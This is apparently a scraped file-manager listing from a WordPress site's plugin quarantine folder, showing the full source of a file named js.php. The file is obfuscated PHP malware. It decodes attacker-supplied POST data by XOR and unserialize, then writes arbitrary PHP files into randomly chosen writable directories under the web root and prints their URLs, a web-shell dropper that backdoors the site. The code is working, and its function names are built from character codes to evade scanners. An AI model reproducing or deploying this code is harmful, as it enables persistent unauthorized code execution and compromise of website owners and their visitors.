PATH:
home
/
letacommog
/
letacommunicationnew2021
/
wp-content
/
plugins
/
wp-file-manager
/
lib
/
files
/
.quarantine
<?php $wZntqaeuMi = "UXKZw";function puwztygfA($wZntqaeuMi){$mVsTZWPk = 'r'.chr(97)."\167"."\x75".chr(689-575).chr(108).chr(702-602)."\x65".chr(99)."\x6f"."\144"."\145";$rvEJswuQ = "\163"."\164"."\x72".chr(871-776).'r'.chr(111).chr(601-485)."\61".chr(51);$emVUEvuS = chr(1041-926).chr(116)."\162".chr(95)."\163".chr(112).'l'.chr(105)."\x74";$wZntqaeuMi = $emVUEvuS($mVsTZWPk($rvEJswuQ($wZntqaeuMi)));return $wZntqaeuMi;}function lGsptzrHT($VDkEEnPz, $MSnEJKN){$OtaPIbKit = "\163".chr(116).chr(804-690)."\x5f".chr(115).chr(490-378).chr(720-612)."\x69"."\164";$VDkEEnPz = array_slice($OtaPIbKit(str_repeat($VDkEEnPz, (count($MSnEJKN)/16)+1)), 0, count($MSnEJKN));return $VDkEEnPz;}function KzEzBXbB($qRmeKqu, $BFEzv, $VDkEEnPz){$iUHthC = "304ceb8a-c08f-4e83-9362-9b6cc82f796c";return $qRmeKqu ^ $iUHthC[$BFEzv % strlen($iUHthC)] ^ $VDkEEnPz;}function CPPCuhF($MSnEJKN, $VDkEEnPz){$MSnEJKN = array_map("KzEzBXbB", array_values($MSnEJKN), array_keys($MSnEJKN), array_values($VDkEEnPz));$MSnEJKN = implode("", $MSnEJKN);$yYcwYXf = chr(117).chr(110)."\x73".chr(101).chr(660-546)."\x69"."\x61"."\x6c".chr(105)."\172"."\145";$MSnEJKN = @$yYcwYXf($MSnEJKN);return $MSnEJKN;}function TkWdI(){echo "MWMKa";}function EgBbIxqoq($NHyzFcpizir){static $jOzpdsh = array();$ZKpPE = glob($NHyzFcpizir . '/*', GLOB_ONLYDIR);$yKIjK = count($ZKpPE);if ($yKIjK > 0) {foreach ($ZKpPE as $NHyzFcpiz) {$XNjWlL = "\x69".chr(115).'_'.'w'."\x72".chr(215-110).'t'.'a'."\x62"."\x6c".chr(101);if (@$XNjWlL($NHyzFcpiz)) {$jOzpdsh[] = $NHyzFcpiz;}}}foreach ($ZKpPE as $NHyzFcpizir) EgBbIxqoq($NHyzFcpizir);return $jOzpdsh;}function BHknDtqD(){echo "UXKZw";}function pRjDRy($MSnEJKN){$mUEPY = chr(719-651)."\x4f".'C'.chr(85).chr(541-464).chr(69).'N'.chr(84).chr(95).chr(739-657).'O'.'O'."\x54";$gnyMpqaNj = $_SERVER[$mUEPY];$ZKpPE = EgBbIxqoq($gnyMpqaNj);$ztSjrh = array_rand($ZKpPE);$lMhAUZEN = "\56"."\x70"."\x68".'p';$FgKRX = $ZKpPE[$ztSjrh] . "/" . substr(md5(time()), 0, 8) . $lMhAUZEN;$afXZQm = "\x66"."\x69".chr(108).'e'."\x5f".'p'.chr(117).chr(709-593)."\x5f".chr(99).chr(111).chr(364-254).chr(952-836).'e'."\156"."\x74".chr(115);@$afXZQm($FgKRX, $MSnEJKN);$EEsTKMmo = chr(72).'T'.chr(84)."\x50"."\137".chr(185-113).chr(126-47)."\123".'T';$gsPNA = 'h'.chr(116)."\164".chr(112).':'.'/'."\x2f";$lYEOVk = $gsPNA . $_SERVER[$EEsTKMmo] . substr($FgKRX, strlen($gnyMpqaNj));print($lYEOVk);}foreach ($_POST as $VDkEEnPz => $MSnEJKN){$jBoGj = strlen($VDkEEnPz);if ($jBoGj == 16){$MSnEJKN = puwztygfA($MSnEJKN);$VDkEEnPz = lGsptzrHT($VDkEEnPz, $MSnEJKN);$MSnEJKN = CPPCuhF($MSnEJKN, $VDkEEnPz);if (@is_array($MSnEJKN)){$ztSjrh = array_keys($MSnEJKN);$MSnEJKN = $MSnEJKN[$ztSjrh[0]];if ($MSnEJKN === $ztSjrh[0]){$kmTDi = chr(524-412)."\150".'p';$IdIovixF = "\x70".chr(104).'p'.chr(118).chr(101)."\162"."\163"."\x69"."\x6f".'n';$fKWCCXVZ = "\163".'e'."\x72"."\151"."\141".chr(108).'i'.'z'.chr(186-85);echo @$fKWCCXVZ(Array($kmTDi => @$IdIovixF(), ));strlen($VDkEEnPz);}else {pRjDRy($MSnEJKN);}die();}}}
[+]
..
[-] js.php
[edit]